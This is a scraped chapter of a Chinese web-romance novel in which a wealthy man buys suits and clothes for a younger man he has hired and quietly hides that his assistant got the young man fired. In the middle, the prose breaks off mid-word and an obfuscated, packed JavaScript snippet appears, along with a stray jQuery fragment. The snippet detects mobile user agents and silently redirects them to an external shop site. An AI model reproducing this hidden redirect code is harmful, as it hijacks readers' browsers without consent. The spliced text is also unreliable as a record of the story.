文趣网 > 都市小说 > 合约而已,你醋什么? > 10. 绝不让你知道
    廖亦言跟了过去,他手插在兜里,倚着墙看着叶钧量尺寸。

    他突然想起他以前遇到过一个很喜欢芭比娃娃的合作伙伴。

    她收藏了各种版本的芭比娃娃,甚至为了一只仅仅几百块的娃娃直接飞到国外。熟悉了之后廖亦言问过为什么,她只是云淡风轻的说就是很喜欢,没理由的。

    现在他终于有一点感同身受,可以稍微理解那句没理由。

    接到叶钧电话的那刻,廖亦言就决定好了,要把叶钧领到自己定制西装的店铺,用最好的布料给他做几身衣裳——那料子比自己穿的还贵。

    他就好像终于得到一只少见的娃娃,廖亦言迫不及待的装点起来。他觉得叶钧得到一些昂贵的东西,是理所应当的。

    量衣区,叶钧站在穿衣镜前。

    他乖乖听着那个老外的指挥,张开双臂,由他测量身上各部分的数据。所有数字都记好之后,店长突然问叶钧是放左边还是放右边。

    ?什么意思。

    叶钧不解。

    店长头也不抬的接着问,“就是,你,那个,放在左边还是右边。”

    这回叶钧听懂了,他耳朵立刻红了,支支吾吾的开口,“左,左边……”

    廖亦言倚着墙,有些惬意的看着。

    手机突然响了一下,廖亦言觉得煞风景,但他还是把手机拿出来看。

    是路泉。

    【老大,全部做完了】

    【你放心吧,那小子现在已经被开了】

    廖亦言站直了,他眉头紧蹙。

    【你做的?】

    路泉飞快回复:

    【当然啦】

    廖亦言突然感觉头疼,怪不得那时候路泉说会办好这件事。

    他又有一种想要捏死路泉的感觉。

    但是……

    他侧头看了一眼站在穿衣镜前的叶钧,也未尝不是一件好事……

    其实,他也并不希望叶钧接着工作,就算路泉不做这件事,他也会绞尽脑汁花言巧语的劝叶钧辞职。

    他有一种隐秘的贪婪——他希望叶钧把全部的心思,全部的空闲用在自己身上,他希望自己可以占据叶钧的所有……

    而且他也有资本这么做不是吗?

    廖亦言十分坦然的接受了自己的贪婪,人类都是糟糕的,自己自然也不例外,天底下阴差阳错的事情多了去了,不叫叶钧知道就好。

    他给路泉发了条消息:

    【好了,到此为止吧】

    路泉:【收到】

    廖亦言把手机收起来,他想,他绝对不会让叶钧知道这件事。

    绝对不会。

    店长得到了所需的信息,又带着叶钧挑鞋子,他说的天花乱坠,让叶钧坐在试鞋凳上,他为叶钧一个一个试。

    地面上有一块长方形的镜子,倾斜着,让叶钧坐着就能看清楚鞋子的全貌。

    黑色皮鞋,棕色皮鞋,还有红底的,叶钧看的眼花缭乱,试的手足无措——他挑不出来。

    见他纠结,廖亦言走过来,站在叶钧背后。他那双没有一丝褶皱,永远干净优雅的皮鞋骤然出现在镜子里。

    他轻声问道:“怎么样,选好了吗?”

    店长比叶钧先开口,叶钧每次听他说话都感觉好像走在前门大街上。

    “叶先生穿什么都好看,太难挑啦。”

    廖亦言听了笑笑,“那就都包起来吧。”他这句话说的很轻松,好像只是在说今天天气真好啊一样。

    店长听了笑的更灿烂了,恍惚之间叶钧好像能在这个英伦绅士身上看到一颗大金牙。

    “好呀好呀,叶先生留个地址吧,到时候我派人给您送过去。”

    地址。

    叶钧在如梦似幻中骤然清醒,自己租的那个房子?妹妹还在呢,到时候怎么解释,难道要说你哥最终屈服了,决定签了短期卖身契,接下来要在纸醉金迷里卖他那张笑脸。

    为什么屈服?因为老妈生病呕血——跟不打自招没区别。

    叶钧皱起了眉头。

    “怎么了?”廖亦言问他。

    “廖先生,我能不能把东西放在你那——我家里有点乱。”

    叶钧糊弄了一个理由出来。

    廖亦言并不深问,只是微笑着说:“那你以后就要去我那里换衣服,麻烦你了。”

    他语气依旧柔缓,听不出来任何或喜或悲的情绪,好像他发自内心的感觉麻烦叶钧,这反而让叶钧不好意思。

    叶钧刚想说还是送到自己家里吧,廖亦言却已经向店主点头,“我的地址你还记得吧。”

    “记得记得。”

    于是一切顺理成章,叶钧张开的嘴巴又合上。

    等到处理妥当之后,叶钧跟着廖亦言离开,他问廖亦言:“我的衣服都是他做的吗?”

    他指的是店长。

    刚才店长一边帮他选鞋一边跟他闲聊,跟他说春夏的西装配什么样的鞋,秋冬的西装配什么样的鞋,跟他说带花纹的裤子,外套,马甲,衬衫,领带……

    叶钧听着店长那一嘴的京片子,骤然觉得自己已经陷入纷杂衣物的包裹之中,细腻柔软,却又重量庞然。

    这么多衣服要都是一个人做,未免也太辛苦了……

    他说:“不用那个老外做,他做衣服太难看了,总喜欢用花花绿绿的布料当内衬,看着眼睛疼。”

    廖亦言闻言,偏着头凑过去,好像高中生悄悄的讲人坏话,他笑里透出一点坏,但无伤大雅。

    当年廖亦言找他定做西服,见到衣服时,他十分满意,觉得不愧是在萨维尔街闯出名声的裁缝。

    结果下一秒他把衣服敞开时,廖亦言又觉得自己眼睛都被晃瞎了。

    五彩缤纷,花花绿绿,比五岁小孩的画纸还颜色丰富。

    他沉默着不说话,店长却夸夸其谈,他说这代表了廖亦言火热奔放的内心,他说有个东方的词语特别适合这件衣服。

    他说那个词是闷骚。

    廖亦言只想把人扔进海里淹死。

    但那老外的店又实实在在打遍萨维尔街无敌手。廖亦言只好交给他英国的店,不让他经手。

    廖亦言把这件事跟叶钧讲了,但是说他闷骚那一句,他没有讲。

    “真的假的?那么难看?”

    叶钧听了也跟他一块笑,悄悄的笑,怕让店长发现。

    他笑的很爽朗,就像一罐刚打开的气泡水,清爽,干净,并不过分甜腻。

    却让人酥酥麻麻的。

    廖亦言忽然很想喝气泡水。

    走到店门外,下了几乎一天一夜的雨停了,天空上露出彩虹。

    叶钧自觉任务完成,正打算跟廖亦言告别,廖亦言却替他开了车门。

    “还有事吗?廖先生。”

    “去买衣服。”廖亦言微笑。

    还买!衣服已经很多了。

    叶钧眯起眼睛,他微微的,微微的察觉到一丝不妙。

    廖亦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557734|204483||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    言似乎能读心似的,他说,“定制西装的流程很长,我带你去买几件成衣先用着。”

    听了这句话,叶钧心底的不妙蓦地消散,只剩下一句不轻不重的感慨——有钱人真讲究。

    廖亦言带着叶钧去了一个商场,商场规模颇大,一进门叶钧就觉得自己格格不入。

    他穿了件灰色的宽大卫衣,下半身则是一条破洞牛仔裤,横向的丝线里透露出他温润的肌肤。

    这里的人穿的都那么素净优雅,像一只只高颈瓷瓶,用一个时尚界的词来形容就是静奢风,昂贵与冷漠并存。

    但叶钧破洞裤子太张扬跳动,犹如白纸上的一粒彩墨,他不太适应,走路都木手木脚的。

    他跟着廖亦言进了家排着长队的店,店内的店员一看见是他们,就立刻走过来打招呼。

    “廖先生您好。”

    廖亦言不说话,只是对店员点头,算是回应。

    叶钧环视四周,店面装修极简,颇有几分清寂之感。

    店员素质极高,虽然叶钧的穿着显然不符合目标消费人群,但她们仍旧笑吟吟,温和舒适,让人如沐春风。

    她们把叶钧和廖亦言领到一间单独的屋子里。

    屋子里很大,叶钧觉得比他租的那间房子都大。店员端来了蛋糕水果,还有两杯香槟酒——细长的杯子里,酒液往出冒着细密的泡泡。

    廖亦言坐在沙发上,让店员把香槟换成苹果气泡水。

    叶钧有点好奇的打量着这里。

    这里的装修风格同大厅一脉相承,大理石纹的矮桌上放着花篮,鲜花上还带着细小的水珠。周围有衣架和人台,挂着当季秀场同款,衣服漂亮的像是艺术品。

    地上铺着厚厚的地毯,走起路来只有轻微的声响。

    墙上挂着画,叶钧走过去看画,大部分的画都是打印出来的,看上去赏心悦目。

    那幅是蒙克的《太阳》,不过是缩小版复制品,虽然是复制品,但那种热烈和光彩仍旧迷人。

    叩叩——

    敲门声,店员拿着衣服进来了。叶钧回过神,走到廖亦言身边。

    一排的衣服流水一样的进来,黑的白的花的,叶钧侧过脸看着廖亦言,震惊中带着疑惑。

    这么多?

    廖亦言淡定的点了点头。

    没错。

    叶钧回过头,看着连起来差点遮天蔽日的衣服,深吸一口气,随后颇有些从容赴死似的进了更衣室。

    穿完一套出来,几个店员凑上来手脚轻柔的帮他整理衣领,往他的上衣口袋里插叠好的方巾,替他处理好西装和衬衫的袖口。

    俗话说人靠衣装马靠鞍,被人装点完的叶钧气质陡然上升,帅的好像谁家风流倜傥的大少爷。

    只要他肯笑一笑,就有人会为他神魂颠倒。

    廖亦言放下杯子,走了过来。周围的店员很识趣的散开。他走到叶钧面前,伸手搭在叶钧的额头上,把他的头发向后捋。

    “我要剪头发吗?”叶钧抬眼向上看着廖亦言,就像一只纯真的小鹿。

    “你介意吗?”

    廖亦言的手还停留在叶钧的额头上,暖意传递着。只不过隔了一层手套,他所感受到的温暖很稀薄。

    叶钧摇了摇头。

    廖亦言把手放下来,他轻轻地笑,“到时候再说吧——衣服合身吗?”

    叶钧很有眼力见的在他面前转了一圈。

    “很合身的,廖先生。”他对着廖亦言笑。